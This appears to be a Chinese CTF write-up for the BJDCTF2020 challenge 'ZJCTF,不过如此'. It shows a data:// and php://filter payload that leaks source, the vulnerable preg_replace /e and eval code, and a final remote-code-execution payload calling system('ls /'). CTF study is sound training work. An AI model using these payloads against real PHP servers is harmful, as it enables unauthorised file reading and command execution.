[BJDCTF2020]ZJCTF,不过如此

打开题目就是源码

看到使用file_get_contents()函数打开text,看到file就想到了文件包含,但是本题使用file://协议并不行,里边有个封装的text文件,需要使用data://协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:data://text/plain;base64,xxxx(base64编码后的数据)

所以我们构造paload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到源码

解码后得到的源码

<?php

$id = $_GET['id'];

$_SESSION['id'] = $id;

function complex($re, $str) {

    return preg_replace(

        '/(' . $re . ')/ei',

        'strtolower("\\1")',

        $str

    );

}

foreach($_GET as $re => $str) {

    echo complex($re, $str). "\n";

}

function getFlag(){

  @eval($_GET['cmd']);

}

从源码可以看出漏洞出在preg_replace /e 模式下

e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现。

比如我们传入  ?.*={${phpinfo()}}

原句:preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);

就变成preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});

又因为PHP中命名规则是没有 (. )的,而且一些非法字符是会被替换成 _ 的。所以也就导

致正则匹配错误,无法被执行

这里我们就需要把 .(点号)改成下划线,因此得将\.*换成\S*

[\s]表示,只要出现空白就匹配

[\S]表示,非空白就匹配

那么它们的组合[\s\S],表示所有的都匹配

"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

然后调用 getFlag() 函数,给 cmd 赋值恶意代码达到被代码执行的效果

最后构造payload:?\S*=${getFlag()}&cmd=system('ls /');

改一下命令执行cat得到flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值